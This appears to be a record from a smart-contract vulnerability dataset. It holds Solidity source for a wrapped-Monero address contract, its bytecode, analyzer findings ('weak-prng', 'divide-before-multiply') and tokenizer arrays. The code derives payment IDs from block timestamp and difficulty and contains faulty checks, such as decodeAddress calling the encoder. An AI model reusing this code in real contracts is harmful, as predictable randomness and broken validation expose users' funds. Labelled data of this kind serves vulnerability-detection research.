renounceOwnership() public virtual onlyOwner { revert("Renouncing ownership is blocked"); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: owner is 0x0 address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\lib\Helpers.sol pragma solidity >=0.6.0 <0.8.0; library Helpers { function genUnencodedIntAddress( bytes1 netByte, bytes32 pubSpend, bytes32 pubView, bytes8 pId ) internal pure returns (bytes memory) { bytes memory preAddr = abi.encodePacked( netByte, pubSpend, pubView, pId ); bytes4 preAddrHash = bytes4( keccak256(preAddr) & 0xffffffff00000000000000000000000000000000000000000000000000000000 ); return abi.encodePacked(preAddr, preAddrHash); } function padLeft( bytes memory source, bytes1 padChar, uint8 maxLen ) internal pure returns (bytes memory) { uint256 sourceLen = source.length; if (sourceLen >= maxLen) return source; bytes memory res = new bytes(maxLen); for (uint256 i = 0; i < maxLen; i++) { if (i < sourceLen) res[i] = source[i]; else res[i] = padChar; } return res; } function padRight( bytes memory source, bytes1 padChar, uint8 maxLen ) internal pure returns (bytes memory) { uint256 sourceLen = source.length; if (sourceLen >= maxLen) return source; bytes memory res = new bytes(maxLen); for (uint256 i = 0; i < maxLen; i++) { if (i < maxLen - sourceLen) res[i] = padChar; else res[i] = source[i - (maxLen - sourceLen)]; } return res; } function hashEquals(bytes memory left, bytes memory right) internal pure returns (bool) { if (left.length != right.length) return false; for (uint256 i = 0; i < left.length; i++) if (uint8(left[i]) - uint8(right[i]) != 0) return false; return true; } function toBytes(uint256 _i) internal pure returns (bytes memory) { if (_i == 0) return "0"; uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; while (_i != 0) { bstr[k--] = bytes1(uint8(48 + (_i % 10))); _i /= 10; } return bstr; } function random() internal view returns (uint8) { return uint8( uint256( keccak256( abi.encodePacked(block.timestamp, block.difficulty) ) ) % 0xFF ); } function random(uint256 height) internal view returns (bytes8) { return bytes8( uint64( uint256( keccak256( abi.encodePacked( block.timestamp, block.difficulty, height ) ) ) % 0xFFFFFFFFFFFFFFFF ) ); } } // File: contracts\lib\Monero.sol pragma solidity >=0.6.0 <0.8.0; library Monero { using Helpers for bytes; using Helpers for uint256; uint8 constant full_block_size = 8; uint8 constant full_encoded_block_size = 11; bytes constant Alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; bytes9 constant encoded_block_sizes = 0x000203050607090a0b; function b58_encode(bytes memory data) internal pure returns (bytes memory) { uint256 full_block_count = data.length / full_block_size; uint256 last_block_size = data.length % full_block_size; uint256 res_size = (full_block_count * full_encoded_block_size) + uint8(encoded_block_sizes[last_block_size]); bytes memory res = new bytes(res_size); for (uint256 i = 0; i < res_size; ++i) { res[i] = Alphabet[0]; } for (uint256 i = 0; i < full_block_count; i++) { res = encodeBlock( subarray( data, i * full_block_size, i * full_block_size + full_block_size ), res, i * full_encoded_block_size ); } if (last_block_size > 0) { res = encodeBlock( subarray( data, full_block_count * full_block_size, full_block_count * full_block_size + last_block_size ), res, full_block_count * full_encoded_block_size ); } return res; } function b58_decode(bytes memory data) internal pure returns (bytes memory) { require(data.length > 0, "Invalid address length"); uint256 full_block_count = data.length / full_encoded_block_size; uint256 last_block_size = data.length % full_encoded_block_size; int256 lbds = indexOf(encoded_block_sizes, uint8(last_block_size)); require(lbds > 0, "Invalid encoded length"); uint256 last_block_decoded_size = uint256(lbds); uint256 res_size = full_block_count * full_block_size + last_block_decoded_size; bytes memory res = new bytes(res_size); for (uint256 i = 0; i < full_block_count; i++) { res = decodeBlock( subarray( data, i * full_encoded_block_size, i * full_encoded_block_size + full_encoded_block_size ), res, i * full_block_size ); } if (last_block_size > 0) { res = decodeBlock( subarray( data, full_block_count * full_encoded_block_size, full_block_count * full_encoded_block_size + last_block_size ), res, full_block_count * full_block_size ); } return res; } function encodeBlock( bytes memory data, bytes memory buf, uint256 index ) private pure returns (bytes memory) { require( data.length > 1 || data.length <= full_block_size, "Invalid block length" ); uint64 num = toUint64(data); uint256 i = uint8(encoded_block_sizes[data.length]) - 1; while (num > 0) { uint256 remainder = num % Alphabet.length; num = uint64(num / Alphabet.length); buf[index + i] = Alphabet[remainder]; i--; } return buf; } function decodeBlock( bytes memory data, bytes memory buf, uint256 index ) private pure returns (bytes memory) { require( data.length > 1 && data.length <= full_encoded_block_size, "Invalid block length" ); int256 res = indexOf(encoded_block_sizes, uint8(data.length)); require(res > 0, "Invalid encoded length"); uint256 res_size = uint256(res); uint256 res_num = 0; uint256 order = 1; for (uint256 i = data.length; i > 0; i--) { int256 digit = indexOf(Alphabet, uint8(data[i - 1])); require(digit >= 0, "Invalid symbol"); res_num = (order * uint8(digit)) + res_num; require(res_num < 2**64, "Overflow1"); order = order * Alphabet.length; } if (res_size < full_block_size && 2**(8 * res_size) <= res_num) revert("Overflow2 "); for (uint256 i = res_size; i > 0; i--) { buf[index + i - 1] = bytes1(uint8(res_num % 0x100)); res_num = res_num / 0x100; } return buf; } function validateHex(bytes memory xmrAddress, bytes3 netBytes) internal pure { bytes1 _netByteStd = netBytes[0]; bytes1 _netByteInt = netBytes[1]; bytes1 _netByteSub = netBytes[2]; require( xmrAddress.length == 69 || xmrAddress.length == 77, "Invalid address length" ); require( xmrAddress[0] == _netByteStd || xmrAddress[0] == _netByteInt || xmrAddress[0] == _netByteSub, "Invalid network byte" ); require( (xmrAddress.length == 69 && (xmrAddress[0] == _netByteStd || xmrAddress[0] == _netByteSub)) || (xmrAddress.length == 77 && xmrAddress[0] == _netByteInt), "Invalid address type" ); bytes memory preAddr = slice(xmrAddress, 0, xmrAddress.length - 4); bytes memory preHash = slice(xmrAddress, xmrAddress.length - 4, 4); bytes memory calcHash = abi.encodePacked( bytes4( keccak256(preAddr) & 0xffffffff00000000000000000000000000000000000000000000000000000000 ) ); require(hashEquals(preHash, calcHash), "Invalid address hash"); } function encodeAddress( bytes memory xmrAddress, bytes3 netBytes, bool validate ) internal pure returns (bytes memory) { if (validate) validateHex(xmrAddress, netBytes); return b58_encode(xmrAddress); } function decodeAddress( bytes memory xmrAddress, bytes3 netBytes, bool validate ) internal pure returns (bytes memory) { if (validate) validateHex(xmrAddress, netBytes); return b58_encode(xmrAddress); } function toStringAmount(uint256 amount) internal pure returns (string memory) { uint256 amt = amount / 1000000000000; uint256 rem = amount % 1000000000000; string memory amts = string(amt.toBytes()); string memory rems = string(rem.toBytes().padRight(bytes1("0"), 12)); return string(abi.encodePacked(amts, ".", rems)); } function slice( bytes memory source, uint256 start, uint256 length ) private pure returns (bytes memory) { require(source.length >= start + length, "Slice out of bounds"); bytes memory tmpBytes = new bytes(length); for (uint256 i = 0; i < length; i++) { tmpBytes[i] = source[start + i]; } return tmpBytes; } function hashEquals(bytes memory left, bytes memory right) private pure returns (bool) { if (left.length != right.length) return false; for (uint256 i = 0; i < left.length; i++) if (uint8(left[i]) - uint8(right[i]) != 0) return false; return true; } function toUint64(bytes memory _bytes) private pure returns (uint64) { uint64 tempUint; uint256 len = _bytes.length; uint256 start = 8 - len; assembly { tempUint := mload(add(add(_bytes, len), start)) } tempUint = tempUint >> (start * 8); return tempUint; } function subarray( bytes memory data, uint256 begin, uint256 end ) private pure returns (bytes memory) { bytes memory out = new bytes(end - begin); for (uint256 i = 0; i < end - begin; i++) { out[i] = data[i + begin]; } return out; } function toBytes(bytes32 input) private pure returns (bytes memory) { bytes memory output = new bytes(32); for (uint8 i = 0; i < 32; i++) { output[i] = input[i]; } return output; } function equal(bytes memory one, bytes memory two) private pure returns (bool) { if (!(one.length == two.length)) { return false; } for (uint8 i = 0; i < one.length; i++) { if (!(one[i] == two[i])) { return false; } } return true; } function truncate(uint8[] memory array, uint8 length) private pure returns (uint8[] memory) { uint8[] memory output = new uint8[](length); for (uint8 i = 0; i < length; i++) { output[i] = array[i]; } return output; } function reverse(uint8[] memory input) private pure returns (uint8[] memory) { uint8[] memory output = new uint8[](input.length); for (uint8 i = 0; i < input.length; i++) { output[i] = input[input.length - 1 - i]; } return output; } function toAlphabet(uint8[] memory indices) private pure returns (bytes memory) { bytes memory output = new bytes(indices.length); for (uint8 i = 0; i < indices.length; i++) { output[i] = Alphabet[indices[i]]; } return output; } function indexOf(bytes9 array, uint8 v) private pure returns (int256) { for (uint256 i = 0; i < 9; i++) { if (uint8(array[i]) == v) return int256(i); } return -1; } function indexOf(bytes memory array, uint8 v) private pure returns (int256) { for (uint256 i = 0; i < array.length; i++) { if (uint8(array[i]) == v) return int256(i); } return -1; } function random() internal view returns (uint8) { return uint8( uint256( keccak256( abi.encodePacked(block.timestamp, block.difficulty) ) ) % 0xFF ); } function random(uint256 height) internal view returns (bytes8) { return bytes8( uint64( uint256( keccak256( abi.encodePacked( block.timestamp, block.difficulty, height ) ) ) % 0xFFFFFFFFFFFFFFFF ) ); } } // File: contracts\IWXMRAddress.sol pragma solidity >=0.6.0 <0.8.0; interface IWXMRAddress{ /** * @dev Returns an account or integrated address */ function getAddress() external returns (bytes memory xmrAddress); function validateAddress(bytes memory xmrAddress, bool decode) external; function b58_encode(bytes memory xmrAddress) external view returns(bytes memory); function b58_decode(bytes memory xmrAddress) external view returns(bytes memory); function encodeAddress(bytes memory xmrAddress) external view returns(bytes memory); function decodeAddress(bytes memory xmrAddress) external view returns(bytes memory); } // File: contracts\WXMRAddress.sol pragma solidity >=0.6.0 <0.8.0; contract WXMRAddress is Context, Ownable, IWXMRAddress { address private _wxmr; bytes3 private _netBytes; bytes32 private _pubSpend; bytes32 private _pubView; uint256 private _intHeight; bool private _intAddressEnabled = false; bytes[] _xmrPool; constructor (address wxmr) { _wxmr = wxmr; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyWxmr() { require(_wxmr == _msgSender(), "Ownable: caller is not WXMR"); _; } /* * @dev Function to set integrated addresses parameters */ function setParameters( bytes3 netBytes, bytes32 pubSpend, bytes32 pubView, uint256 initialHeight, bool intAddressEnabled ) public onlyOwner { _netBytes = netBytes; _pubSpend = pubSpend; _pubView = pubView; if (initialHeight > 0) _intHeight = initialHeight; _intAddressEnabled = intAddressEnabled; emit SetParameters(netBytes, pubSpend, pubView, intAddressEnabled); } /* * @dev Function to get xmr addresses */ function getAddress() override public onlyWxmr returns (bytes memory xmrAddress) { if (_intAddressEnabled) return getXmrIntegratedAddress(); return getXmrAddress(); } /* * @dev Function to validate xmr addresses */ function validateAddress(bytes memory xmrAddress,bool decode) override public view onlyWxmr { if (decode) xmrAddress = Monero.b58_decode(xmrAddress); Monero.validateHex(xmrAddress,_netBytes); } /* * @dev Function to get address from pool */ function getXmrAddress() private returns (bytes memory) { require(_xmrPool.length > 0, "No address available"); bytes memory xmrAddress = _xmrPool[_xmrPool.length - 1]; _xmrPool.pop(); emit PoolSize(_xmrPool.length); return xmrAddress; } /* * @dev Function to get integrated address */ function getXmrIntegratedAddress() private returns (bytes memory) { _intHeight += Helpers.random(); bytes8 pId = Helpers.random(_intHeight); return Helpers.genUnencodedIntAddress( _netBytes[1], _pubSpend, _pubView, pId ); } /** * @dev Function get size of address pool * * */ function getPoolSize() public view onlyOwner returns (uint256){ return _xmrPool.length; } /** * @dev Function empty address pool * * */ function flushPool() public onlyOwner{ _xmrPool = new bytes[](0); } /** * @dev Function address to pool * * */ function pushAddress(bytes memory xmrAddress) public onlyOwner{ _xmrPool.push(xmrAddress); emit PoolSize(_xmrPool.length); } /** * @dev Function base58 encode XMR address * * */ function b58_encode(bytes memory xmrAddress) override public pure returns(bytes memory){ return Monero.b58_encode(xmrAddress); } /** * @dev Function base58 decode XMR address * * */ function b58_decode(bytes memory xmrAddress) override public pure returns(bytes memory){ return Monero.b58_decode(xmrAddress); } /** * @dev Function base58 encode XMR address with hash check * * */ function encodeAddress(bytes memory xmrAddress) override public view returns(bytes memory){ return Monero.encodeAddress(xmrAddress, _netBytes, true); } /** * @dev Function base58 decode XMR address with hash check * * */ function decodeAddress(bytes memory xmrAddress) override public view returns(bytes memory){ return Monero.decodeAddress(xmrAddress, _netBytes, true); } event PoolSize(uint256 entries); /** * @dev Emitted when setting contract parameters */ event SetParameters( bytes3 netBytes, bytes32 pubSpend, bytes32 pubView, bool intAddressEnabled ); }
0x608060405234801561001057600080fd5b50600436106100ce5760003560e01c8063715018a61161008c578063a03bb84111610066578063a03bb841146103cd578063af91c8aa146100f7578063dca31e4214610471578063f2fde38b14610517576100ce565b8063715018a6146102fd57806371995e0b146103055780638da5cb5b146103a9576100ce565b8062817992146100d357806323845e4b146100dd5780632efa26c9146100f757806338cc48311461021057806350f84af11461021857806369f5038c146102bc575b600080fd5b6100db61053d565b005b6100e56105d8565b60408051918252519081900360200190f35b61019b6004803603602081101561010d57600080fd5b810190602081018135600160201b81111561012757600080fd5b82018360208201111561013957600080fd5b803590602001918460018302840111600160201b8311171561015a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061063a945050505050565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61019b61065d565b61019b6004803603602081101561022e57600080fd5b810190602081018135600160201b81111561024857600080fd5b82018360208201111561025a57600080fd5b803590602001918460018302840111600160201b8311171561027b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506106f0945050505050565b6100db600480360360a08110156102d257600080fd5b506001600160e81b0319813516906020810135906040810135906060810135906080013515156106fb565b6100db6107ee565b6100db6004803603602081101561031b57600080fd5b810190602081018135600160201b81111561033557600080fd5b82018360208201111561034757600080fd5b803590602001918460018302840111600160201b8311171561036857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610893945050505050565b6103b1610967565b604080516001600160a01b039092168252519081900360200190f35b61019b600480360360208110156103e357600080fd5b810190602081018135600160201b8111156103fd57600080fd5b82018360208201111561040f57600080fd5b803590602001918460018302840111600160201b8311171561043057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610976945050505050565b6100db6004803603604081101561048757600080fd5b810190602081018135600160201b8111156104a157600080fd5b8201836020820111156104b357600080fd5b803590602001918460018302840111600160201b831117156104d457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050503515159050610981565b6100db6004803603602081101561052d57600080fd5b50356001600160a01b0316610a19565b610545610b27565b6000546001600160a01b03908116911614610595576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd6833981519152604482015290519081900360640190fd5b60408051600080825260208201909252906105c0565b60608152602001906001900390816105ab5790505b5080516105d591600691602090910190611a7a565b50565b60006105e2610b27565b6000546001600160a01b03908116911614610632576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd6833981519152604482015290519081900360640190fd5b506006545b90565b606061065782600160149054906101000a900460e81b6001610b2b565b92915050565b6060610667610b27565b6001546001600160a01b039081169116146106c9576040805162461bcd60e51b815260206004820152601b60248201527f4f776e61626c653a2063616c6c6572206973206e6f742057584d520000000000604482015290519081900360640190fd5b60055460ff16156106e3576106dc610b4e565b9050610637565b6106eb610ba2565b905090565b606061065782610cfe565b610703610b27565b6000546001600160a01b03908116911614610753576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd6833981519152604482015290519081900360640190fd5b6001805462ffffff60a01b1916600160a01b60e888901c021790556002849055600383905581156107845760048290555b6005805482151560ff199091168117909155604080516001600160e81b031988168152602081018790528082018690526060810192909252517fce63276b977b6e80fde52640d6f90cde71718180bd8120fa86fc3d79e0b4969d9181900360800190a15050505050565b6107f6610b27565b6000546001600160a01b03908116911614610846576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd6833981519152604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152601f60248201527f52656e6f756e63696e67206f776e65727368697020697320626c6f636b656400604482015290519081900360640190fd5b61089b610b27565b6000546001600160a01b039081169116146108eb576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd6833981519152604482015290519081900360640190fd5b60068054600181018255600091909152815161092e917ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f01906020840190611ad7565b5060065460408051918252517f6d656d00e83244eccb301a2e3def91536909449ac374522959a40dcfde5324a29181900360200190a150565b6000546001600160a01b031690565b606061065782610e58565b610989610b27565b6001546001600160a01b039081169116146109eb576040805162461bcd60e51b815260206004820152601b60248201527f4f776e61626c653a2063616c6c6572206973206e6f742057584d520000000000604482015290519081900360640190fd5b80156109fd576109fa82610e58565b91505b600154610a15908390600160a01b900460e81b610fcc565b5050565b610a21610b27565b6000546001600160a01b03908116911614610a71576040805162461bcd60e51b81526020600482018190526024820152600080516020611bd6833981519152604482015290519081900360640190fd5b6001600160a01b038116610acc576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a206f776e6572206973203078302061646472657373000000604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b60608115610b3d57610b3d8484610fcc565b610b4684610cfe565b949350505050565b6060610b586112af565b60ff166004600082825401925050819055506000610b776004546112df565b600154600254600354929350610b9c92600160a01b909204601e1a60f81b9184611323565b91505090565b600654606090610bf0576040805162461bcd60e51b81526020600482015260146024820152734e6f206164647265737320617661696c61626c6560601b604482015290519081900360640190fd5b60068054600091906000198101908110610c0657fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610c945780601f10610c6957610100808354040283529160200191610c94565b820191906000526020600020905b815481529060010190602001808311610c7757829003601f168201915b505050505090506006805480610ca657fe5b600190038181906000526020600020016000610cc29190611b5f565b905560065460408051918252517f6d656d00e83244eccb301a2e3def91536909449ac374522959a40dcfde5324a29181900360200190a1905090565b60606000600860ff16835181610d1057fe5b0490506000600860ff16845181610d2357fe5b0690506000670203050607090a0b60b81b8260098110610d3f57fe5b1a600b840201905060008167ffffffffffffffff81118015610d6057600080fd5b506040519080825280601f01601f191660200182016040528015610d8b576020820181803683370190505b50905060005b82811015610df4576040518060600160405280603a8152602001611bf6603a9139600081518110610dbe57fe5b602001015160f81c60f81b828281518110610dd557fe5b60200101906001600160f81b031916908160001a905350600101610d91565b5060005b84811015610e2857610e1e610e14886008848102908101611402565b83600b84026114a7565b9150600101610df8565b508215610e4f57610e4c610e428760088702868101611402565b82600b87026114a7565b90505b95945050505050565b60606000825111610ea9576040805162461bcd60e51b8152602060048201526016602482015275092dcecc2d8d2c840c2c8c8e4cae6e640d8cadccee8d60531b604482015290519081900360640190fd5b8151600b80820491066000610ec9670203050607090a0b60b81b8361160c565b905060008113610f19576040805162461bcd60e51b8152602060048201526016602482015275092dcecc2d8d2c840cadcc6dec8cac840d8cadccee8d60531b604482015290519081900360640190fd5b8060088402810160008167ffffffffffffffff81118015610f3957600080fd5b506040519080825280601f01601f191660200182016040528015610f64576020820181803683370190505b50905060005b86811015610f9a57610f90610f868a600b848102908101611402565b836008840261164a565b9150600101610f6a565b508415610fc157610fbe610fb489600b8902888101611402565b826008890261164a565b90505b979650505050505050565b8151600082901a60f890811b91600184901a821b91600285901a901b9060451480610ff857508451604d145b611042576040805162461bcd60e51b8152602060048201526016602482015275092dcecc2d8d2c840c2c8c8e4cae6e640d8cadccee8d60531b604482015290519081900360640190fd5b826001600160f81b0319168560008151811061105a57fe5b01602001516001600160f81b03191614806110995750816001600160f81b0319168560008151811061108857fe5b01602001516001600160f81b031916145b806110c85750806001600160f81b031916856000815181106110b757fe5b01602001516001600160f81b031916145b611110576040805162461bcd60e51b8152602060048201526014602482015273496e76616c6964206e6574776f726b206279746560601b604482015290519081900360640190fd5b845160451480156111735750826001600160f81b0319168560008151811061113457fe5b01602001516001600160f81b03191614806111735750806001600160f81b0319168560008151811061116257fe5b01602001516001600160f81b031916145b806111ae57508451604d1480156111ae5750816001600160f81b0319168560008151811061119d57fe5b01602001516001600160f81b031916145b6111f6576040805162461bcd60e51b8152602060048201526014602482015273496e76616c69642061646472657373207479706560601b604482015290519081900360640190fd5b600061120886600060048951036118ca565b9050600061121c87600489510360046118ca565b8251602080850191909120604080516001600160e01b03199092169282019290925281518082036004018152602490910190915290915061125d82826119b0565b6112a5576040805162461bcd60e51b8152602060048201526014602482015273092dcecc2d8d2c840c2c8c8e4cae6e640d0c2e6d60631b604482015290519081900360640190fd5b5050505050505050565b604080514260208083019190915244828401528251808303840181526060909201909252805191012060ff900690565b60408051426020808301919091524482840152606080830194909452825180830390940184526080909101909152815191012067ffffffffffffffff900660c01b90565b604080516001600160f81b0319861660208083019190915260218201869052604182018590526001600160c01b03198416606183015282516049818403018152606983019093528251908301818120606094936001600160e01b03199091169284928492608901918291908083835b602083106113b15780518252601f199092019160209182019101611392565b6001836020036101000a038019825116818451168082178552505050505050905001826001600160e01b03191681526004019250505060405160208183030381529060405292505050949350505050565b6060600083830367ffffffffffffffff8111801561141f57600080fd5b506040519080825280601f01601f19166020018201604052801561144a576020820181803683370190505b50905060005b84840381101561149e57858582018151811061146857fe5b602001015160f81c60f81b82828151811061147f57fe5b60200101906001600160f81b031916908160001a905350600101611450565b50949350505050565b60606001845111806114bb57508351600810155b611503576040805162461bcd60e51b8152602060048201526014602482015273092dcecc2d8d2c840c4d8dec6d640d8cadccee8d60631b604482015290519081900360640190fd5b600061150e85611a22565b905060006001670203050607090a0b60b81b87516009811061152c57fe5b1a0360ff1690505b67ffffffffffffffff8216156116025760006040518060600160405280603a8152602001611bf6603a9139518367ffffffffffffffff168161157257fe5b0690506040518060600160405280603a8152602001611bf6603a9139518367ffffffffffffffff16816115a157fe5b0492506040518060600160405280603a8152602001611bf6603a913981815181106115c857fe5b602001015160f81c60f81b86838701815181106115e157fe5b60200101906001600160f81b031916908160001a9053505060001901611534565b5092949350505050565b6000805b600981101561163f578260ff1684826009811061162957fe5b1a1415611637579050610657565b600101611610565b506000199392505050565b60606001845111801561165f57508351600b10155b6116a7576040805162461bcd60e51b8152602060048201526014602482015273092dcecc2d8d2c840c4d8dec6d640d8cadccee8d60631b604482015290519081900360640190fd5b60006116bf670203050607090a0b60b81b865161160c565b90506000811361170f576040805162461bcd60e51b8152602060048201526016602482015275092dcecc2d8d2c840cadcc6dec8cac840d8cadccee8d60531b604482015290519081900360640190fd5b845181906000906001905b801561181f57600061175a6040518060600160405280603a8152602001611bf6603a91398b600185038151811061174d57fe5b016020015160f81c611a40565b905060008112156117a3576040805162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a59081cde5b589bdb60921b604482015290519081900360640190fd5b838160ff1684020193506801000000000000000084106117f6576040805162461bcd60e51b81526020600482015260096024820152684f766572666c6f773160b81b604482015290519081900360640190fd5b6040518060600160405280603a8152602001611bf6603a9139519290920291506000190161171a565b506008831080156118365750818360080260020a11155b15611875576040805162461bcd60e51b815260206004820152600a602482015269027bb32b9333637bb99160b51b604482015290519081900360640190fd5b825b80156118bd57610100830660f81b886001838a01038151811061189657fe5b60200101906001600160f81b031916908160001a9053506101008304925060001901611877565b5095979650505050505050565b60608183018451101561191a576040805162461bcd60e51b8152602060048201526013602482015272536c696365206f7574206f6620626f756e647360681b604482015290519081900360640190fd5b60008267ffffffffffffffff8111801561193357600080fd5b506040519080825280601f01601f19166020018201604052801561195e576020820181803683370190505b50905060005b8381101561149e57858186018151811061197a57fe5b602001015160f81c60f81b82828151811061199157fe5b60200101906001600160f81b031916908160001a905350600101611964565b600081518351146119c357506000610657565b60005b8351811015611a18578281815181106119db57fe5b602001015160f81c60f81b60f81c8482815181106119f557fe5b016020015160f81c0360ff1615611a10576000915050610657565b6001016119c6565b5060019392505050565b805160088181039190920181015167ffffffffffffffff1691021c90565b6000805b835181101561163f578260ff16848281518110611a5d57fe5b016020015160f81c1415611a72579050610657565b600101611a44565b828054828255906000526020600020908101928215611ac7579160200282015b82811115611ac75782518051611ab7918491602090910190611ad7565b5091602001919060010190611a9a565b50611ad3929150611ba3565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611b0d5760008555611b53565b82601f10611b2657805160ff1916838001178555611b53565b82800160010185558215611b53579182015b82811115611b53578251825591602001919060010190611b38565b50611ad3929150611bc0565b50805460018160011615610100020316600290046000825580601f10611b8557506105d5565b601f0160209004906000526020600020908101906105d59190611bc0565b80821115611ad3576000611bb78282611b5f565b50600101611ba3565b5b80821115611ad35760008155600101611bc156fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657231323334353637383941424344454647484a4b4c4d4e505152535455565758595a6162636465666768696a6b6d6e6f707172737475767778797aa2646970667358221220524ca41ed6fe9154da0163335dccd752d4b26bea91339013ef59ca457e68288f64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 21486, 2581, 2549, 16409, 28154, 24434, 2581, 2581, 22407, 2629, 2094, 24594, 23352, 17788, 2692, 16409, 16068, 16068, 2497, 12376, 2549, 2094, 2509, 15878, 2487, 1013, 1013, 5371, 1024, 8311, 1032, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 28177, 2078, 1032, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]